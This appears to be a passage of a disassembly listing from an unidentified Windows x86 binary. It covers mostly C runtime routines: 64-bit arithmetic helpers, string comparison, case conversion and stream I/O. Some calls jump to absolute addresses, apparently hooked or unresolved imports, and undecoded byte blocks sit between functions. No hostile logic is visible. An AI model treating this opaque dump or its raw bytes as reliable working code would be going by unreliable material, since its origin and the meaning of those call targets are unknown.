push 18h
call sub_41DA29
mov eax, dword_4DC91C
pop ecx
loc_41D073: ; CODE XREF: sub_41D052+12j
and dword ptr [eax], 0
mov eax, dword_4DC91C
mov dword_4DC918, eax
retn
sub_41D052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D081 proc near ; CODE XREF: ___:0040DB4Bp
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call near ptr 2750000h
nop
lea eax, [ebp+var_20]
push eax
call near ptr 2840000h
nop
mov ax, [ebp+var_16]
cmp ax, word_4DB2E2
jnz short loc_41D0E6
mov ax, [ebp+var_18]
cmp ax, word_4DB2E0
jnz short loc_41D0E6
mov ax, [ebp+var_1A]
cmp ax, word_4DB2DE
jnz short loc_41D0E6
mov ax, [ebp+var_1E]
cmp ax, word_4DB2DA
jnz short loc_41D0E6
mov ax, [ebp+var_20]
cmp ax, word_4DB2D8
jnz short loc_41D0E6
mov eax, dword_4DB2D0
jmp short loc_41D12B
; ---------------------------------------------------------------------------
loc_41D0E6: ; CODE XREF: sub_41D081+28j
; sub_41D081+35j ...
lea eax, [ebp+var_CC]
push eax
nop
call near ptr 2830000h
cmp eax, 0FFFFFFFFh
jz short loc_41D113
cmp eax, 2
jnz short loc_41D10F
cmp [ebp+var_32], 0
jz short loc_41D10F
cmp [ebp+var_24], 0
jz short loc_41D10F
push 1
pop eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D10F: ; CODE XREF: sub_41D081+7Aj
; sub_41D081+81j ...
xor eax, eax
jmp short loc_41D116
; ---------------------------------------------------------------------------
loc_41D113: ; CODE XREF: sub_41D081+75j
or eax, 0FFFFFFFFh
loc_41D116: ; CODE XREF: sub_41D081+8Cj
; sub_41D081+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_4DB2D8
movsd
movsd
movsd
movsd
pop edi
mov dword_4DB2D0, eax
pop esi
loc_41D12B: ; CODE XREF: sub_41D081+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_422669
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41D15B
mov [ecx], eax
locret_41D15B: ; CODE XREF: sub_41D081+D6j
leave
retn
sub_41D081 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D160 proc near
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_4DB32C
cmp dword ptr [eax+8], 0
jnz short loc_41D1B3
mov al, 0FFh
mov edi, edi
loc_41D17C: ; CODE XREF: sub_41D160+28j
; sub_41D160+48j
or al, al
jz short loc_41D1AE
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_41D17C
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_41D17C
sbb al, al
sbb al, 0FFh
loc_41D1AE: ; CODE XREF: sub_41D160+1Ej
movsx eax, al
jmp short loc_41D1E7
; ---------------------------------------------------------------------------
loc_41D1B3: ; CODE XREF: sub_41D160+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_41D1BC: ; CODE XREF: sub_41D160+68j
; sub_41D160+80j
or al, al
jz short loc_41D1E7
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_41D1BC
push eax
push ebx
call sub_41D74C
mov ebx, eax
add esp, 4
call sub_41D74C
add esp, 4
cmp bl, al
jz short loc_41D1BC
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41D1E7: ; CODE XREF: sub_41D160+51j
; sub_41D160+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_41D160 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
mov eax, [esi+0Ch]
test al, 83h
jz short loc_41D268
mov edi, [esp+14h]
test edi, edi
jz short loc_41D20B
cmp edi, 1
jz short loc_41D20B
cmp edi, 2
jnz short loc_41D268
loc_41D20B: ; CODE XREF: ___:0041D1FFj
; ___:0041D204j
and al, 0EFh
cmp edi, 1
mov [esi+0Ch], eax
jnz short loc_41D222
push esi
call sub_4227C5
add [esp+14h], eax
pop ecx
xor edi, edi
loc_41D222: ; CODE XREF: ___:0041D213j
push esi
call sub_41DB8B
mov eax, [esi+0Ch]
pop ecx
test al, 80h
jz short loc_41D237
and al, 0FCh
mov [esi+0Ch], eax
jmp short loc_41D24B
; ---------------------------------------------------------------------------
loc_41D237: ; CODE XREF: ___:0041D22Ej
test al, 1
jz short loc_41D24B
test al, 8
jz short loc_41D24B
test ah, 4
jnz short loc_41D24B
mov dword ptr [esi+18h], 200h
loc_41D24B: ; CODE XREF: ___:0041D235j
; ___:0041D239j ...
push edi
push dword ptr [esp+14h]
push dword ptr [esi+10h]
call sub_42272B
add esp, 0Ch
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
dec ecx
mov eax, ecx
jmp short loc_41D275
; ---------------------------------------------------------------------------
loc_41D268: ; CODE XREF: ___:0041D1F7j
; ___:0041D209j
mov dword_4DB278, 16h
or eax, 0FFFFFFFFh
loc_41D275: ; CODE XREF: ___:0041D266j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D280 proc near ; CODE XREF: sub_412B08+19Ep
; sub_41386B+11Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_41D299
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_41D299: ; CODE XREF: sub_41D280+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_41D280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2B4 proc near ; CODE XREF: ___:004162E3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_41D2D8
xor eax, eax
jmp loc_41D3A5
; ---------------------------------------------------------------------------
loc_41D2D8: ; CODE XREF: sub_41D2B4+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41D2EB
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41D2F2
; ---------------------------------------------------------------------------
loc_41D2EB: ; CODE XREF: sub_41D2B4+2Dj
mov [ebp+arg_C], 1000h
loc_41D2F2: ; CODE XREF: sub_41D2B4+35j
; sub_41D2B4+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_41D326
mov eax, [esi+4]
test eax, eax
jz short loc_41D326
cmp ebx, eax
mov edi, ebx
jb short loc_41D30C
mov edi, eax
loc_41D30C: ; CODE XREF: sub_41D2B4+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_41C310
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_41D36C
; ---------------------------------------------------------------------------
loc_41D326: ; CODE XREF: sub_41D2B4+47j
; sub_41D2B4+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_41D371
test ecx, ecx
jz short loc_41D33A
push esi
call sub_41DB8B
test eax, eax
pop ecx
jnz short loc_41D3B3
loc_41D33A: ; CODE XREF: sub_41D2B4+79j
cmp [ebp+arg_C], 0
jz short loc_41D34D
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_41D34F
; ---------------------------------------------------------------------------
loc_41D34D: ; CODE XREF: sub_41D2B4+8Aj
mov edi, ebx
loc_41D34F: ; CODE XREF: sub_41D2B4+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_42291D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41D3AA
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_41D3AA
loc_41D36C: ; CODE XREF: sub_41D2B4+70j
mov edi, [ebp+var_4]
jmp short loc_41D39A
; ---------------------------------------------------------------------------
loc_41D371: ; CODE XREF: sub_41D2B4+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_41F58A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41D3B3
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_41D39A
mov [ebp+arg_C], 1
loc_41D39A: ; CODE XREF: sub_41D2B4+BBj
; sub_41D2B4+DDj
test ebx, ebx
jnz loc_41D2F2
mov eax, [ebp+arg_8]
loc_41D3A5: ; CODE XREF: sub_41D2B4+1Fj
; sub_41D2B4+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41D3AA: ; CODE XREF: sub_41D2B4+ADj
; sub_41D2B4+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_41D3B5
; ---------------------------------------------------------------------------
loc_41D3B3: ; CODE XREF: sub_41D2B4+84j
; sub_41D2B4+CFj
mov eax, edi
loc_41D3B5: ; CODE XREF: sub_41D2B4+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_41D3A5
sub_41D2B4 endp
; =============== S U B R O U T I N E =======================================
sub_41D3BE proc near ; CODE XREF: sub_416908+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
nop
call near ptr 2660E71h
cmp eax, 0FFFFFFFFh
jnz short loc_41D3DE
nop
call near ptr 2660A00h
push eax
call sub_4203DF
pop ecx
loc_41D3DA: ; CODE XREF: sub_41D3BE+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41D3DE: ; CODE XREF: sub_41D3BE+Dj
test al, 1
jz short loc_41D3FF
test [esp+arg_4], 2
jz short loc_41D3FF
mov dword_4DB278, 0Dh
mov dword_4DB27C, 5
jmp short loc_41D3DA
; ---------------------------------------------------------------------------
loc_41D3FF: ; CODE XREF: sub_41D3BE+22j
; sub_41D3BE+29j
xor eax, eax
retn
sub_41D3BE endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D410 proc near ; CODE XREF: sub_416922+3Fp
; sub_41A98C+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41D432
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D473
; ---------------------------------------------------------------------------
loc_41D432: ; CODE XREF: sub_41D410+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41D440: ; CODE XREF: sub_41D410+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D440
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41D46E
cmp edx, [esp+8+arg_4]
ja short loc_41D46E
jb short loc_41D46F
cmp eax, [esp+8+arg_0]
jbe short loc_41D46F
loc_41D46E: ; CODE XREF: sub_41D410+4Ej
; sub_41D410+54j
dec esi
loc_41D46F: ; CODE XREF: sub_41D410+56j
; sub_41D410+5Cj
xor edx, edx
mov eax, esi
loc_41D473: ; CODE XREF: sub_41D410+20j
pop esi
pop ebx
retn 10h
sub_41D410 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D480 proc near ; CODE XREF: sub_416922+2Dp
; sub_41A98C+3Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41D4A1
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41D4F1
; ---------------------------------------------------------------------------
loc_41D4A1: ; CODE XREF: sub_41D480+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41D4AF: ; CODE XREF: sub_41D480+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41D4AF
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41D4DA
cmp edx, [esp+4+arg_4]
ja short loc_41D4DA
jb short loc_41D4E2
cmp eax, [esp+4+arg_0]
jbe short loc_41D4E2
loc_41D4DA: ; CODE XREF: sub_41D480+4Aj
; sub_41D480+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41D4E2: ; CODE XREF: sub_41D480+52j
; sub_41D480+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41D4F1: ; CODE XREF: sub_41D480+1Fj
pop ebx
retn 10h
sub_41D480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D500 proc near ; CODE XREF: sub_416A32+5Fp
; sub_416A32+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41D521
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41D521: ; CODE XREF: sub_41D500+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41D53D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41D53D: ; CODE XREF: sub_41D500+27j
or eax, eax
jnz short loc_41D559
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41D59A
; ---------------------------------------------------------------------------
loc_41D559: ; CODE XREF: sub_41D500+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41D567: ; CODE XREF: sub_41D500+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41D567
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41D595
cmp edx, [esp+0Ch+arg_4]
ja short loc_41D595
jb short loc_41D596
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41D596
loc_41D595: ; CODE XREF: sub_41D500+85j
; sub_41D500+8Bj
dec esi
loc_41D596: ; CODE XREF: sub_41D500+8Dj
; sub_41D500+93j
xor edx, edx
mov eax, esi
loc_41D59A: ; CODE XREF: sub_41D500+57j
dec edi
jnz short loc_41D5A4
neg edx
neg eax
sbb edx, 0
loc_41D5A4: ; CODE XREF: sub_41D500+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41D500 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D5AA proc near ; CODE XREF: sub_4170EC+BFp
; sub_4170EC+12Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DB334
push ebx
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_4], ebx
jnz short loc_41D5DE
mov eax, [ebp+arg_0]
mov edx, eax
cmp [eax], bl
jz short loc_41D645
loc_41D5C6: ; CODE XREF: sub_41D5AA+30j
mov cl, [edx]
cmp cl, 61h
jl short loc_41D5D7
cmp cl, 7Ah
jg short loc_41D5D7
sub cl, 20h
mov [edx], cl
loc_41D5D7: ; CODE XREF: sub_41D5AA+21j
; sub_41D5AA+26j
inc edx
cmp [edx], bl
jnz short loc_41D5C6
jmp short loc_41D645
; ---------------------------------------------------------------------------
loc_41D5DE: ; CODE XREF: sub_41D5AA+11j
push esi
push edi
push 1
push ebx
push ebx
push ebx
push 0FFFFFFFFh
mov esi, 200h
push [ebp+arg_0]
push esi
push eax
call sub_422ACA
mov edi, eax
add esp, 20h
cmp edi, ebx
jz short loc_41D637
push edi
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_41D637
push 1
push ebx
push edi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push dword_4DB334
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D637
push [ebp+var_4]
push [ebp+arg_0]
call sub_41BEB0
pop ecx
pop ecx
loc_41D637: ; CODE XREF: sub_41D5AA+53j
; sub_41D5AA+61j ...
push [ebp+var_4]
call sub_41B0B1
mov eax, [ebp+arg_0]
pop ecx
pop edi
pop esi
loc_41D645: ; CODE XREF: sub_41D5AA+1Aj
; sub_41D5AA+32j
pop ebx
leave
retn
sub_41D5AA endp
; =============== S U B R O U T I N E =======================================
sub_41D648 proc near ; CODE XREF: sub_417ADD+1A8p
arg_0 = dword ptr 4
cmp dword_43C504, 1
jle short loc_41D65F
push 4
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D65F: ; CODE XREF: sub_41D648+7j
mov eax, [esp+arg_0]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 4
retn
sub_41D648 endp
; =============== S U B R O U T I N E =======================================
sub_41D670 proc near ; CODE XREF: sub_420510+76p
; sub_420510+88p ...
arg_0 = dword ptr 4
cmp dword_43C504, 1
jle short loc_41D687
push 8
push [esp+4+arg_0]
call sub_41F515
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41D687: ; CODE XREF: sub_41D670+7j
mov eax, [esp+arg_0]
mov ecx, off_43C2F8
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41D670 endp
; ---------------------------------------------------------------------------
align 10h
mov eax, [esp+0Ch]
test eax, eax
jz short locret_41D6EC
mov edx, [esp+4]
push esi
push edi
mov esi, edx
mov edi, [esp+10h]
or edx, edi
and edx, 3
jz short loc_41D6ED
test eax, 1
jz short loc_41D6CD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41D71A
inc esi
inc edi
dec eax
jz short loc_41D6EA
loc_41D6CD: ; CODE XREF: ___:0041D6C0j
; ___:0041D6E8j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41D71A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41D71A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41D6CD
loc_41D6EA: ; CODE XREF: ___:0041D6CBj
; ___:0041D724j
pop edi
pop esi
locret_41D6EC: ; CODE XREF: ___:0041D6A6j
retn
; ---------------------------------------------------------------------------
loc_41D6ED: ; CODE XREF: ___:0041D6B9j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41D722
repe cmpsd
jz short loc_41D722
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
jnz short loc_41D715
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41D715
cmp ch, dh
loc_41D715: ; CODE XREF: ___:0041D703j
; ___:0041D707j ...
mov eax, 0
loc_41D71A: ; CODE XREF: ___:0041D6C6j
; ___:0041D6D3j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41D722: ; CODE XREF: ___:0041D6F5j
; ___:0041D6F9j
test eax, eax
jz short loc_41D6EA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41D715
dec eax
jz short loc_41D749
cmp dh, ch
jnz short loc_41D715
dec eax
jz short loc_41D749
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41D715
dec eax
loc_41D749: ; CODE XREF: ___:0041D72Fj
; ___:0041D736j
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D74C proc near ; CODE XREF: sub_418068+6p
; sub_418086+4Ap ...
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DB334, 0
push ebx
push esi
push edi
jnz short loc_41D779
mov eax, [ebp+arg_0]
cmp eax, 41h
jl loc_41D812
cmp eax, 5Ah
jg loc_41D812
add eax, 20h
jmp loc_41D812
; ---------------------------------------------------------------------------
loc_41D779: ; CODE XREF: sub_41D74C+Ej
mov ebx, [ebp+arg_0]
mov edi, 100h
push 1
cmp ebx, edi
pop esi
jge short loc_41D7AD
cmp dword_43C504, esi
jle short loc_41D79B
push esi
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_41D7A5
; ---------------------------------------------------------------------------
loc_41D79B: ; CODE XREF: sub_41D74C+42j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, esi
loc_41D7A5: ; CODE XREF: sub_41D74C+4Dj
test eax, eax
jnz short loc_41D7AD
loc_41D7A9: ; CODE XREF: sub_41D74C+ADj
mov eax, ebx
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D7AD: ; CODE XREF: sub_41D74C+3Aj
; sub_41D74C+5Bj
mov edx, off_43C2F8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D7D1
and byte ptr [ebp+arg_0+2], 0
push 2
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
pop eax
jmp short loc_41D7DA
; ---------------------------------------------------------------------------
loc_41D7D1: ; CODE XREF: sub_41D74C+74j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
mov eax, esi
loc_41D7DA: ; CODE XREF: sub_41D74C+83j
push esi
push 0
lea ecx, [ebp+var_4]
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push edi
push dword_4DB334
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_41D7A9
cmp eax, esi
jnz short loc_41D805
movzx eax, [ebp+var_4]
jmp short loc_41D812
; ---------------------------------------------------------------------------
loc_41D805: ; CODE XREF: sub_41D74C+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_41D812: ; CODE XREF: sub_41D74C+16j
; sub_41D74C+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41D74C endp
; =============== S U B R O U T I N E =======================================
sub_41D817 proc near ; CODE XREF: sub_4185A4+ADp
; sub_419593+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_41D82E
loc_41D824: ; CODE XREF: sub_41D817+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_41D824
loc_41D82E: ; CODE XREF: sub_41D817+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41D817 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D834 proc near ; CODE XREF: sub_4185A4+7Fp
; sub_4185A4+90p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_41D901
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_41D92E
cmp dword_4DB334, esi
jnz short loc_41D885
cmp edi, esi
jbe loc_41D92E
loc_41D864: ; CODE XREF: sub_41D834+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_41D92E
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_41D864
jmp loc_41D92E
; ---------------------------------------------------------------------------
loc_41D885: ; CODE XREF: sub_41D834+26j
mov ebx, [ebp+arg_4]
mov esi, dword_427180
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4DB344
call esi
test eax, eax
jnz loc_41D92D
nop
call near ptr 2660A00h
cmp eax, 7Ah
jz short loc_41D8BF
loc_41D8B0: ; CODE XREF: sub_41D834+CBj
; sub_41D834+F7j
mov dword_4DB278, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D8BF: ; CODE XREF: sub_41D834+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_41D8C7: ; CODE XREF: sub_41D834+B3j
mov cl, [eax]
test cl, cl
jz short loc_41D8E9
mov edx, off_43C2F8
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_41D8DE
inc eax
loc_41D8DE: ; CODE XREF: sub_41D834+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_41D8C7
loc_41D8E9: ; CODE XREF: sub_41D834+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4DB344
call esi
test eax, eax
jnz short loc_41D92E
jmp short loc_41D8B0
; ---------------------------------------------------------------------------
loc_41D901: ; CODE XREF: sub_41D834+Fj
cmp dword_4DB334, esi
jnz short loc_41D914
push [ebp+arg_4]
call sub_41AFE0
pop ecx
jmp short loc_41D92E
; ---------------------------------------------------------------------------
loc_41D914: ; CODE XREF: sub_41D834+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4DB344
nop
call near ptr 27F0000h
cmp eax, esi
jz short loc_41D8B0
loc_41D92D: ; CODE XREF: sub_41D834+6Bj
dec eax
loc_41D92E: ; CODE XREF: sub_41D834+1Aj
; sub_41D834+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D834 endp
; ---------------------------------------------------------------------------
db 4
dd 0F27D6044h, 48722AE0h, 8CDE20E0h, 0A1648CD6h, 0
dd 25896450h, 0
dd 5358EC83h, 65895756h, 0C1E890E8h, 33024340h, 89D48AD2h
dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
dd 440E856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
dd 5BE8FC75h, 90000059h, 434012E8h, 0C90CA302h, 19E8004Dh
dd 0A3000058h, 4DB2E8h, 55C2E8h, 5504E800h, 0B9E80000h
dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2432628h, 5495E8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 5E89056h, 50022526h, 0FE3820E8h, 0A04589FFh
dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h, 0D3E85150h
dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_41DA29 proc near ; CODE XREF: sub_41D052+16p
; ___:00422F18p ...
arg_0 = dword ptr 4
cmp dword_4DB2F0, 1
jnz short loc_41DA37
call sub_423590
loc_41DA37: ; CODE XREF: sub_41DA29+7j
push [esp+arg_0]
call sub_4235C9
push 0FFh
call off_43A2C0
pop ecx
pop ecx
retn
sub_41DA29 endp
; ---------------------------------------------------------------------------
dw 3D83h
dd offset dword_4DB2F0
dd 0E8057501h, 5B34h, 42474FFh, 5B64E8h, 0FF685900h, 90000000h
dd 0A58244E8h
db 77h, 0C3h
; =============== S U B R O U T I N E =======================================
sub_41DA72 proc near ; CODE XREF: sub_41B05B+2Ap
; sub_423A33+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_4DC6C0
jnb loc_41DB0C
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
